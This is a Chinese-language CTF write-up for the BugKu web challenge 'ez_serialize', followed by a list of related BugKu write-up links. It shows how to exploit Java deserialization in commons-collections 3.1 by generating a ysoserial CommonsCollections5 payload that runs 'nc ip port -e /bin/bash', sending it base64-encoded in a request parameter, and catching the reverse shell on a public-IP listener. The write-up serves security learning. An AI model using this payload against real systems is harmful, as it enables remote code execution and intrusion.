[BugKu Web]ez_serialize

本writeup已经在bugku开放

根据题意，显然是一道JAVA反序列化的题

关于JAVA反序列化漏洞的成因，参见博客https://zhuanlan.zhihu.com/p/422314689

此处只说明解题思路（重复开启场景已经没金币了，用本地环境说明）

下载附件，寻找存在反序列化漏洞的点

阅读pom.xml，发现存在commons-collections组件依赖，其3.1版本存在反序列化漏洞

阅读helloController.java，确定路由为ip:port/hello，状态码变成了400

需要输入请求参数name，注意name会经过base64解码再进行反序列化，因此在传入参数之前需要对payload进行base64编码

payloiad的构造使用ysoserial，问就是没技术

推荐使用linux安装，具体参照https://blog.csdn.net/weixin_44769042/article/details/121378799（windows安装使用出现奇怪的问题）

查看可用组件漏洞及版本

  java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

选择CommonsCollections5，命令选择nc反弹shell，编码最好在这里进行，不然有奇怪的问题

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "nc ip port -e /bin/bash" |base64 -w0 >poc.bin`

如果构造payload的命令是无法执行的话（比如windows命令），则会输出something is wrong

在公网主机上开启监听

 nc -l -p port

将生成的payload作为name的value输入

在公网主机上ls一下，就可以看到flag，cat flag，over

如果本地可以却不能在靶场实现的话，需要注意的坑：必须使用公网ip才能被nc连接到，因此可能需要申请一个有公网ip的云服务器（我是这么做的）

[BugKu Web]ez_serialize相关推荐

[Bugku][Web][CTF] 9-15 write up
[说明] 整合资源简略版本2020Bugku write up Bugku Web第九题关键字 :/?args=GLOBALS PHP 将所有全局变量存储在一个名为 $GLOBALS[index] ...
Bugku Web CTF-江湖魔头1
Bugku Web CTF-江湖魔头1 这道题比较有意思,简陋的武侠游戏,打开一看大致了解其功能: (1)基础属性可随机 (2)一共有血量.外功.内功等属性,还有金钱,金钱可用来在商店购买秘籍 (3) ...
Bugku Web CTF-江湖魔头2
Bugku Web CTF-江湖魔头2 (接1) 然而在最初的尝试中却发现,当我填入修改好的cookie时,刷新页面属性值都为空(是为空而不是显示0),于是考虑是否因为逆运算哪里出现了问题. 仔细查看 ...
Bugku web 聪明的php
Bugku web 聪明的php 模板注入打开题目模板注入打开题目得到提示,传递参数随机传一个参数,得到源码在这地方卡了挺久的,发现smarty是个模板,测试一下是不是模板注入确实为sm ...
BugKu——Web——社工-初步收集
BugKu--Web--社工-初步收集一.解题思路这里可以下载辅助,下载下来的是一个压缩包,不过会被当做病毒处理,设置成信任的即可,解压出来是个*.exe双击启动即可随便输一个QQ和密码回显都 ...
Bugku—web题解
前言:最近做了一些Bugku入门的web题目,感觉web题挺有趣的,并非是得出flag,而是可以通过一个题目学习到很多知识. 域名解析题目说把 flag.baidu.com 解析到123.206.8 ...
Bugku—web（一）
前言: 最近做了几个bugku的web题,感觉挺有意思的,学到了不少东西:顺便总结下.(=￣ω￣=) 1.你必须让他停下: 打开链接,发现有个一直在闪的页面,时不时还会出现张图片:这是用了 js的se ...
[Bugku][Web][CTF] 30-33 write up
[说明] 整合资源简略版本2020Bugku write up web30 关键字: txt or file_get_contents(fn)知识点:filegetcontents(fn) 知识点: ...
Bugku web(1—35)
1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入 ...

[BugKu Web]ez_serialize

[BugKu Web]ez_serialize相关推荐

最新文章

热门文章